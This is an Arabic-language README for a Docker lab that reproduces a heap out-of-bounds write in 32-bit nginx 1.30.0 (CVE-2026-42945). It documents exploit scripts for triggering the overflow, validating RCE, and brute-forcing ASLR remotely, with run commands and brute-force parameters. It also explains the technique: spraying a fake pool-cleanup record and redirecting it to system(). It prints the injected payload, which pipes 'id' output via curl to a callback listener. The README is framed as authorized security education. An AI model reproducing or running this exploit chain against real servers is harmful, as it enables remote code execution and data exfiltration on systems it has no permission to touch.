
CVE-2026-42945 nginx 32-bit exploit lab ASLR enabled
هذا المستودع هو مختبر Docker قابل للتكرار لدراسة CVE-2026-42945 في nginx 1.30.0. يحتوي على هدف 32-bit ضعيف، ومشغل بدائي، ومدقق RCE بعنوان معروف بمساعدة المختبر، ومشغل هجوم قوة عمياء بدون استبطان.
حدود الإثبات مهمة:
exploit/trigger_oob.py يوضح بدائية الكتابة خارج الحدود (OOB write) في الكومة.exploit/lab_known_address.py يثبت آلية RCE في Docker، لكنه مدعوم بالمختبر لأنه يقرأ /proc/<pid>/maps عبر docker exec.exploit/remote_bruteforce.py لا يستخدم SSH أو Docker أو /proc أو ptrace أو عناوين معروفة. يقوم بهجوم القوة العمياء على مرشحات صفحات الكومة الآمنة (SAFE heap-page) وصفحات المكتبة (libc-page) ويعتبر الاستدعاء الخارجي (outbound callback) هو إشارة النجاح الوحيدة.لا يزال مسار القوة العمياء عن بُعد يعتمد على تخطيط ASLR الحالي لعملية nginx الرئيسية. إذا لم يكن عنوان الرش (spray address) قابلاً للتمثيل بواسطة الأبجدية البايتية الآمنة لـ URI المطلوبة، فسيفشل المرور الكامل حتى تتم إعادة تشغيل أو إعادة تحميل عملية nginx الرئيسية وإعادة تدوير ASLR. كما هو الحال مع مدقق العناوين المعروفة، يجب تشغيل مسار RCE الكامل على مضيف Docker Linux x86 أصلي بدلاً من هدف Docker Desktop المحاكى بواسطة QEMU.
/proc/<pid>/maps عن التخطيط الحقيقي لعنوان 32-bit لعامل nginx. قد يقوم Docker Desktop على مضيفات غير x86 بتشغيل الهدف تحت qemu-i386؛ وهذا يكفي للتحقق من تعطل OOB، ولكن ليس لحسابات RCE بالعنوان المعروف.بناء وبدء تشغيل مختبر nginx 32-bit الضعيف:
docker compose up -d --build
curl http://127.0.0.1:19331/
تشغيل الكتابة خارج الحدود الخاضعة للتحكم:
python3 exploit/trigger_oob.py 127.0.0.1:19331 --bytes 8192 --char +
docker logs cve-2026-42945-nginx32 --tail 20
تشغيل مدقق RCE الحتمي الخاص بـ Docker فقط:
python3 exploit/lab_known_address.py --restart-until-safe
تشغيل مشغل القوة العمياء بدون استبطان:
python3 exploit/remote_bruteforce.py 127.0.0.1:19331 host.docker.internal \
--shuffle --seed 42945 \
--attempt-delay 0.02 \
--batch-size 5000 --batch-cooldown 10 \
--progress-every 1000
يتم استخدام host.docker.internal كمضيف الاستدعاء بحيث يمكن للأمر المضمن في عامل nginx إرسال إخراج id عبر POST إلى المستمع الذي بدأه برنامج الاستغلال. يقوم ملف Compose بتعيين هذا الاسم لمحركات Docker Linux.

هدف Compose يبني nginx 1.30.0 كملف ثنائي 32-bit بنمط الإصدار ويبدأ تشغيله على 127.0.0.1:19331. ويعيد طلب GET / عادي ok، مما يثبت أن الهدف يمكن الوصول إليه قبل بدء الاستغلال.

يرسل المشغل مقطع URI مأخوذ مكون من بايتات + عبر مسار rewrite الضعيف بالإضافة إلى set $myvar $1. يتم تخطي + بواسطة NGX_ESCAPE_ARGS، لذلك يقوم مسار النسخ بكتابة ثلاثة بايتات لكل بايت إدخال واحد. يطبع البرنامج النصي حجم الفائض المتوقع قبل إرسال الطلب.

مدقق العنوان المعروف مدعوم عمدًا. يقرأ تخطيطات كومة العامل الحي ومكتبة libc من حاوية Docker، ويحسب عنوان معالج التنظيف المزيف، ويرسل نفس تسلسل الاستغلال على مستوى الشبكة، وينتظر الاستدعاء. إخراج uid=65534(nobody) هو عامل nginx الذي ينفذ id. هذه لقطة شاشة من تشغيل Docker على x86 أصلي؛ في إعدادات Docker Desktop غير x86، قد يتوقف البرنامج النصي مع مطلب مضيف أصلي qemu-i386 بدلاً من ذلك.

يزيل برنامج القوة العمياء عن بُعد قراءات العناوين المختبرية. يقوم بتعداد مرشحات صفحات الكومة الآمنة (SAFE heap-page) وصفحات المكتبة (libc-page) ويستخدم فقط الاستدعاء كدليل على النجاح. استنفاد مرور دون استدعاء لا ينفي بدائية الثغرة؛ فهذا يعني عادةً أن تخطيط nginx الرئيسي الحالي غير مواتٍ لأبجدية الحمولة هذه، أو أن المرور يحتاج إلى إعادة تشغيل/إعادة تحميل رئيسية لإعادة تدوير ASLR.
يستخدم الاستغلال ثلاثة أدوار طلب متزامنة:
/spray يحافظ على تخصيص جسم الطلب حيويًا ويضع سجلًا مزيفًا ngx_pool_cleanup_t بالإضافة إلى أمر الاستدعاء في ذاكرة كومة عامل nginx./api/<payload> يصل إلى برنامج rewrite الضعيف ويؤخر إنهاء الطلب النهائي حتى يتم وضع الطلب الضحية./ ينشئ تجمع الطلبات المجاور الذي يستهدف مؤشر cleanup الخاص به عن طريق الكتابة خارج الحدود الخاضعة للتحكم.عندما يتم تدمير تجمع الطلبات التالف، يتبع nginx مؤشر التنظيف المكتوب فوقه. في مسار RCE المختبري، يشير معالج التنظيف المزيف إلى system() ويشير مؤشر بياناته إلى:
id|curl -sm3 -d @- http://host.docker.internal:9876/rce
يعالج مستمع الاستغلال هذا الطلب POST كإشارة نجاح RCE الوحيدة.
docker compose down
هذا المختبر مخصص للتحقق الأمني المصرح به والتعليم. احتفظ به معزولًا، ولا تعرض منفذ المختبر للشبكات غير الموثوقة، ولا تقم بتشغيل الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.